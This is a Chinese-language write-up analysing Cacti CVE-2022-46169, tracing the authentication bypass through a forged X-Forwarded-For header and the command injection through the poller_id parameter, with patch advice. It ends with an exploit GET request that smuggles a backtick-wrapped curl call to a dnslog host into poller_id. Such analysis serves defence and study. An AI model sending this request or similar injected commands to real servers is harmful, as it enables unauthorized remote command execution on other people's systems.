Cacti 前台RCE CVE-2022-46169

漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。CVE-2022-46169 攻击者可构造恶意请求,在无需登录的情况下访问remote_agent.php 执行任意命令,控制服务器。

影响版本

Cacti < 1.2.23

解决建议

1、官方已发布安全更新,建议升级至最新版本。
2、对于在 PHP < 7.0 下运行的 1.2.x 实例,还需要进一步更改,
https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9

漏洞分析

从漏洞补丁可以看出,主要是将get_nfilter_request_var​函数修改为get_filter_request_var​,然后proc_open函数使用了可控参数poller_id可能存在RCE漏洞

image

这里看到get_nfilter_request_var​函数是没有任何过滤的,而get_filter_request_var​存在过滤

image

目前可以基本确定漏洞存在于remote_agent.php文件的poll_for_data​函数

虽然remote_agent.php这里使用了函数进行鉴权,但是存在漏洞可以绕过鉴权

image

断点到remote_client_authorized​函数,然后调用get_client_addr​函数

image

这个函数大致意思就是从$http_addr_headers​数组里获取ip然后返回$client_addr

image

使用gethostbyaddr​函数尝试进行主机名解析,remote_agent_strip_domain​函数去除主机名中的域名,最后返回

image

所以这里使用xxf头即可绕过

image

伪造ip和不伪造

image

然后找到switch语句这里调用了poll_for_data​漏洞函数,这里action参数传polldata即可到这里

image

然后这里使用cacti_sizeof​函数判断参数是否为数组,不是数组则返回false

image

image

这样传参即可

1
GET /remote_agent.php?action=polldata&local_data_ids[]=1

然后这里判断iterms是否为数组,iterms是从数据库里查询的返回值,这里查询的是poller_item​表,其中查询的条件是$host_id​和$local_data_id​且action​为2的值

image

到数据库里查看,发现没有action为2的数据

image

所以只能使用别的功能点进行插入action=2的数据

继续往下看可以看到要想执行到我们命令执行的地方也要action=2

image

image

直接搜索 insert into poller_item和update into poller_item查看修改poller_item表的地方

只有insert into poller_item有结果,在utility.php的poller_update_poller_cache_from_buffer​函数里

image

然后在这里执行sql_prefix也就是把action​插入到poller_item​表里了

image

查看poller_update_poller_cache_from_buffer​的函数调用,发现utility.php里的update_poller_cache​函数里调用了这个函数

image

查看update_poller_cache​的函数调用,发现data_sources.php里的form_save​函数调用了这个函数

image

查看form_save​的函数调用,发现graphs_new.php里的调用了这个函数

image

访问php文件可以看到是创建新图行功能

image

直接将断点下到poller_update_poller_cache_from_buffer

image

可以看到执行完$sql_prefix​语句后action增加了一个,值为2

image

image

这里各项值填写能确保查询到action即可,实战中local_data_id值可能需要爆破

image

目前成功走到漏洞这里

image

exp

命令执行

1
GET /remote_agent.php?action=polldata&local_data_ids[]=6&local_data_id=6&host_id=1&poller_id=`curl+2f586e00.dnslog.biz`

image

参考

https://blog.csdn.net/weixin_42353842/article/details/128219854

https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf

https://avd.aliyun.com/detail?id=AVD-2022-46169

0%